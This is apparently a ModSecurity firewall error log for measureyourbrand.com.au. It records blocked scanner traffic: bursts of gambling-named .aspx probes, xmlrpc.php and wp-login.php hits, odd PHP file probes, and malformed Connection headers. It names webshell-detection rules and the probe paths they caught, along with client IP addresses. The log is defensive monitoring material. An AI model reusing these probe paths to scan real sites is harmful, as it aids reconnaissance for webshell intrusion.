[Sun Mar 29 14:29:10.187677 2026] [:error] [pid 23167:tid 23185] [client 51.75.116.156:43308] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acjGthIAHJCFaHff3_ctOAAAAc8"]
[Sun Mar 29 14:29:12.596261 2026] [:error] [pid 23284:tid 23295] [client 51.75.116.156:43322] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acjGuIzBujdPHsq7wyTU_AAAAok"]
[Sun Mar 29 14:29:15.123816 2026] [:error] [pid 23250:tid 23273] [client 51.75.116.156:43334] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acjGu5xrpj-dQjy1cvqo2gAAAlU"]
[Sun Mar 29 14:29:17.509665 2026] [:error] [pid 23168:tid 23203] [client 51.75.116.156:54824] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acjGvWP8p0yRL8ot_289eAAAAgY"]
[Sun Mar 29 14:29:20.037435 2026] [:error] [pid 23168:tid 23200] [client 51.75.116.156:54828] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acjGwGP8p0yRL8ot_289gQAAAgM"]
[Sun Mar 29 14:29:22.589728 2026] [:error] [pid 23168:tid 23210] [client 51.75.116.156:54830] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acjGwmP8p0yRL8ot_289hAAAAg0"]
[Sun Mar 29 14:29:24.979679 2026] [:error] [pid 23250:tid 23259] [client 51.75.116.156:54840] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acjGxJxrpj-dQjy1cvqo6gAAAkc"]
[Sun Mar 29 14:29:27.501174 2026] [:error] [pid 23168:tid 23221] [client 51.75.116.156:48366] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acjGx2P8p0yRL8ot_289iQAAAhg"]
[Sun Mar 29 14:29:30.049419 2026] [:error] [pid 23250:tid 23265] [client 51.75.116.156:48376] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acjGypxrpj-dQjy1cvqo-wAAAk0"]
[Sun Mar 29 14:29:32.424432 2026] [:error] [pid 23168:tid 23217] [client 51.75.116.156:48382] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acjGzGP8p0yRL8ot_289jQAAAhQ"]
[Sun Mar 29 14:29:34.966167 2026] [:error] [pid 23167:tid 23182] [client 51.75.116.156:48384] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acjGzhIAHJCFaHff3_ctSAAAAcw"]
[Sun Mar 29 14:29:37.350484 2026] [:error] [pid 23137:tid 23155] [client 51.75.116.156:38998] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acjG0RaWQa7LdZ_qGFbAawAAAZA"]
[Sun Mar 29 14:29:39.886646 2026] [:error] [pid 32254:tid 32272] [client 51.75.116.156:39012] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acjG06ug2IHuyGgCTn83yAAAAAg"]
[Sun Mar 29 14:29:42.278603 2026] [:error] [pid 23284:tid 23298] [client 51.75.116.156:39016] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acjG1ozBujdPHsq7wyTVIwAAAow"]
[Sun Mar 29 14:30:03.297274 2026] [:error] [pid 32254:tid 32279] [client 51.75.116.156:39022] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acjG66ug2IHuyGgCTn833QAAAA8"]
[Sun Mar 29 14:30:05.587572 2026] [:error] [pid 23168:tid 23198] [client 51.75.116.156:53428] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acjG7WP8p0yRL8ot_289pwAAAgE"]
[Sun Mar 29 14:30:08.106085 2026] [:error] [pid 32255:tid 32291] [client 51.75.116.156:56104] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acjG8Gnfn-AtRoMbquwbcgAAAEA"]
[Sun Mar 29 14:30:10.624085 2026] [:error] [pid 23250:tid 23275] [client 51.75.116.156:56110] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acjG8pxrpj-dQjy1cvqpIwAAAlc"]
[Sun Mar 29 14:30:13.167736 2026] [:error] [pid 32255:tid 32313] [client 51.75.116.156:56122] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acjG9Wnfn-AtRoMbquwbggAAAFY"]
[Sun Mar 29 14:30:15.568056 2026] [:error] [pid 32255:tid 32304] [client 51.75.116.156:56126] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acjG92nfn-AtRoMbquwbjwAAAE0"]
[Sun Mar 29 14:30:18.073280 2026] [:error] [pid 23284:tid 23309] [client 51.75.116.156:49454] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acjG-ozBujdPHsq7wyTVfAAAApc"]
[Sun Mar 29 14:30:20.493609 2026] [:error] [pid 23137:tid 23153] [client 51.75.116.156:49460] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acjG_BaWQa7LdZ_qGFbAgQAAAY4"]
[Sun Mar 29 14:30:22.990897 2026] [:error] [pid 23137:tid 23145] [client 51.75.116.156:49476] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acjG_haWQa7LdZ_qGFbAhAAAAYY"]
[Sun Mar 29 14:30:25.524310 2026] [:error] [pid 23167:tid 23191] [client 51.75.116.156:49484] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acjHARIAHJCFaHff3_ctnwAAAdU"]
[Sun Mar 29 14:30:27.907109 2026] [:error] [pid 23250:tid 23272] [client 51.75.116.156:59728] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acjHA5xrpj-dQjy1cvqpLQAAAlQ"]
[Sun Mar 29 14:30:30.444285 2026] [:error] [pid 23250:tid 23257] [client 51.75.116.156:59742] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acjHBpxrpj-dQjy1cvqpMQAAAkU"]
[Sun Mar 29 14:30:32.949687 2026] [:error] [pid 32254:tid 32280] [client 51.75.116.156:59752] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acjHCKug2IHuyGgCTn834wAAABA"]
[Sun Mar 29 14:30:35.444082 2026] [:error] [pid 32257:tid 32328] [client 51.75.116.156:59760] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acjHCyE3TArOFrUtgWqY2AAAAIo"]
[Sun Mar 29 14:30:37.908866 2026] [:error] [pid 1524:tid 1551] [client 51.75.116.156:42210] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acjHDVoaWSl2asqQCh9XtQAAARM"]
[Sun Mar 29 14:30:40.284674 2026] [:error] [pid 23167:tid 23182] [client 51.75.116.156:42212] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acjHEBIAHJCFaHff3_ctygAAAcw"]
[Sun Mar 29 14:30:42.762778 2026] [:error] [pid 23250:tid 23276] [client 51.75.116.156:42216] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acjHEpxrpj-dQjy1cvqpNwAAAlg"]
[Sun Mar 29 14:30:45.275496 2026] [:error] [pid 32255:tid 32294] [client 51.75.116.156:42228] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acjHFWnfn-AtRoMbquwbyQAAAEM"]
[Sun Mar 29 14:30:47.785453 2026] [:error] [pid 32255:tid 32304] [client 51.75.116.156:49434] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acjHF2nfn-AtRoMbquwb0gAAAE0"]
[Sun Mar 29 14:30:50.309279 2026] [:error] [pid 32255:tid 32315] [client 51.75.116.156:49448] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acjHGmnfn-AtRoMbquwb2wAAAFg"]
[Sun Mar 29 14:30:52.694747 2026] [:error] [pid 32257:tid 32332] [client 51.75.116.156:49458] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acjHHCE3TArOFrUtgWqY3wAAAI4"]
[Sun Mar 29 14:30:55.030934 2026] [:error] [pid 23167:tid 23186] [client 51.75.116.156:49464] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acjHHxIAHJCFaHff3_ct7AAAAdA"]
[Sun Mar 29 14:30:57.534936 2026] [:error] [pid 23284:tid 23307] [client 51.75.116.156:43080] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acjHIYzBujdPHsq7wyTVugAAApU"]
[Sun Mar 29 14:31:00.054604 2026] [:error] [pid 32257:tid 32319] [client 51.75.116.156:43096] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acjHJCE3TArOFrUtgWqY4wAAAIE"]
[Sun Mar 29 16:28:53.046439 2026] [:error] [pid 32255:tid 32306] [client 105.235.137.88:54125] [client 105.235.137.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.137.88, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acjixWnfn-AtRoMbquxPNgAAAE8"]
[Sun Mar 29 17:35:47.961326 2026] [:error] [pid 32257:tid 32322] [client 68.155.154.218:38687] [client 68.155.154.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.155.154.218, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acjycyE3TArOFrUtgWq6jAAAAIQ"]
[Sun Mar 29 17:35:49.819972 2026] [:error] [pid 32257:tid 32323] [client 68.155.154.218:38687] [client 68.155.154.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acjydSE3TArOFrUtgWq6lwAAAIU"]
[Sun Mar 29 17:35:50.608209 2026] [:error] [pid 23284:tid 23306] [client 68.155.154.218:36801] [client 68.155.154.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acjydozBujdPHsq7wyQNlgAAApQ"]
[Sun Mar 29 17:35:51.397449 2026] [:error] [pid 32257:tid 32325] [client 68.155.154.218:30933] [client 68.155.154.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acjydyE3TArOFrUtgWq6mgAAAIc"]
[Sun Mar 29 17:35:52.223624 2026] [:error] [pid 23137:tid 23146] [client 68.155.154.218:38712] [client 68.155.154.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acjyeBaWQa7LdZ_qGFbXiQAAAYc"]
[Sun Mar 29 18:20:03.384248 2026] [:error] [pid 32255:tid 32315] [client 49.51.50.147:42804] [client 49.51.50.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acj802nfn-AtRoMbquyXKgAAAFg"]
[Sun Mar 29 19:19:32.119388 2026] [:error] [pid 23168:tid 23206] [client 170.106.73.216:37630] [client 170.106.73.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ackKxGP8p0yRL8ot_29wsgAAAgk"]
[Sun Mar 29 20:16:48.226738 2026] [:error] [pid 32257:tid 32342] [client 49.234.192.248:57268] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ackYMCE3TArOFrUtgWoCXQAAAJg"]
[Sun Mar 29 22:22:53.012595 2026] [:error] [pid 32257:tid 32326] [client 168.63.69.157:2665] [client 168.63.69.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AAAA.php"] [unique_id "ack1vSE3TArOFrUtgWpF0gAAAIg"]
[Sun Mar 29 23:01:00.262817 2026] [:error] [pid 32255:tid 32305] [client 104.28.164.109:26242] [client 104.28.164.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.164.109, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ack-rGnfn-AtRoMbquwMPwAAAE4"]
[Mon Mar 30 00:11:36.135043 2026] [:error] [pid 32257:tid 32331] [client 170.106.160.90:36790] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aclPOCE3TArOFrUtgWqHqQAAAI0"]
[Mon Mar 30 00:24:38.346776 2026] [:error] [pid 32255:tid 32315] [client 20.151.111.128:10225] [client 20.151.111.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclSRmnfn-AtRoMbquw2kwAAAFg"]
[Mon Mar 30 00:24:39.173085 2026] [:error] [pid 8818:tid 8834] [client 20.151.111.128:30999] [client 20.151.111.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclSRyCDvotZNSF0FBoDxgAAAUw"]
[Mon Mar 30 00:24:40.008165 2026] [:error] [pid 23284:tid 23294] [client 20.151.111.128:19140] [client 20.151.111.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclSSIzBujdPHsq7wyQYggAAAog"]
